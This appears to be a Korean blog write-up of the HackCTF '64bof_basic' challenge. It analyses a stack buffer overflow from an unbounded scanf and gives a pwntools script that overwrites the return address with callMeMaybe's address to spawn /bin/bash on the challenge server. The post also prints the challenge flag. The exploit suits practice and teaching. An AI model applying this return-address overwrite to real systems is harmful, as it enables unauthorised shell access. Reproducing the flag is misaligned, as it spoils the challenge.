[문제]
[풀이]
- 64bit 바이너리
- 카나리 없음
- NX bit 존재
- PIE 없음
바이너리 실행
- 사용자로부터 입력받아 Hello 문자열 뒤에 덧붙여 출력
IDA 분석 - main 함수
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+10h] [rbp-110h]@1
int v5; // [rsp+11Ch] [rbp-4h]@1
_isoc99_scanf("%s", &s, envp);
v5 = strlen(&s);
printf("Hello %s\\n", &s);
return 0;
}
- scanf 함수로 사용자의 입력을 받고 있으나 바이트 수가 지정되어 있지 않음 → BOF 취약점 발생
IDA 분석 - callMeMaybe 함수
int callMeMaybe()
{
char *path; // [rsp+0h] [rbp-20h]@1
const char *v2; // [rsp+8h] [rbp-18h]@1
__int64 v3; // [rsp+10h] [rbp-10h]@1
path = "/bin/bash";
v2 = "-p";
v3 = 0LL;
return execve("/bin/bash", &path, 0LL);
}
- /bin/bash shell 실행
- 해당 함수의 주소를 ret 부분에 덮어쓰면 exploit 될 것으로 보임
gdb 분석 - 함수 주소
pwndbg> info func
All defined functions:
Non-debugging symbols:
0x00000000004004b0 _init
0x00000000004004e0 strlen@plt
0x00000000004004e8 printf@plt
0x00000000004004f0 __libc_start_main@plt
0x00000000004004f8 execve@plt
0x0000000000400500 __gmon_start__@plt
0x0000000000400508 __isoc99_scanf@plt
0x0000000000400510 _start
0x0000000000400540 deregister_tm_clones
0x0000000000400580 register_tm_clones
0x00000000004005c0 __do_global_dtors_aux
0x00000000004005e0 frame_dummy
0x0000000000400606 callMeMaybe
0x0000000000400641 main
0x00000000004006b0 __libc_csu_init
0x0000000000400720 __libc_csu_fini
0x0000000000400724 _fini
- main 주소: 0x0000000000400641
- callMeMaybe 주소: 0x0000000000400606
gdb 분석 - main 함수
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000400641 <+0>: push rbp
0x0000000000400642 <+1>: mov rbp,rsp
0x0000000000400645 <+4>: sub rsp,0x120
0x000000000040064c <+11>: mov DWORD PTR [rbp-0x114],edi
0x0000000000400652 <+17>: mov QWORD PTR [rbp-0x120],rsi
0x0000000000400659 <+24>: lea rax,[rbp-0x110]
0x0000000000400660 <+31>: mov rsi,rax
0x0000000000400663 <+34>: mov edi,0x400741
0x0000000000400668 <+39>: mov eax,0x0
0x000000000040066d <+44>: call 0x400508 <__isoc99_scanf@plt>
0x0000000000400672 <+49>: lea rax,[rbp-0x110]
0x0000000000400679 <+56>: mov rdi,rax
0x000000000040067c <+59>: call 0x4004e0 <strlen@plt>
0x0000000000400681 <+64>: mov DWORD PTR [rbp-0x4],eax
0x0000000000400684 <+67>: lea rax,[rbp-0x110]
0x000000000040068b <+74>: mov rsi,rax
0x000000000040068e <+77>: mov edi,0x400744
0x0000000000400693 <+82>: mov eax,0x0
0x0000000000400698 <+87>: call 0x4004e8 <printf@plt>
0x000000000040069d <+92>: mov eax,0x0
0x00000000004006a2 <+97>: leave
0x00000000004006a3 <+98>: ret
End of assembler dump.
- 사용자의 입력은 $rbp-0x110에 저장
- ret까지의 offset은 buffer+sfp+ret으로 0x118일 것으로 예상(컴파일 환경에 따라 dummy가 추가될 수 있어 확실하지 않음)
- main+49에 bp 걸어 임의의 입력 값 입력
- 사용자의 입력은 0x7fffffffdd50에 저장
- 0x7fffffffde60에서 __libc_start_main+231 확인
- 사용자의 입력~0x7fffffffde60까지의 offset = 280(0x118)
문제 해결
💡dummy(280) + callMeMaybe_Address(0x0000000000400606)
Python2
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3004)
e=ELF('./64bof_basic')
payload = "a"*280 + p64(e.symbols['callMeMaybe'])
p.sendline(payload)
p.interactive()
Python3 - 직접 shellcode 가져와 진행
from pwn import *
p=remote('ctf.j0n9hyun.xyz', 3004)
e=ELF('./64bof_basic')
payload = b"a"*280 + p64(e.symbols['callMeMaybe'])
p.sendline(payload)
p.interactive()
flag
🍒 HackCTF{64b17_b0f_15_51mpl3_700}
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Basic_FSB (0) | 2022.10.30 |
---|---|
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2022.10.30 |
[HackCTF] x64 Simple_size_BOF (0) | 2022.10.30 |
[HackCTF] Simple_Overflow_ver_2 (0) | 2022.10.30 |
[HackCTF] Offset (0) | 2022.10.30 |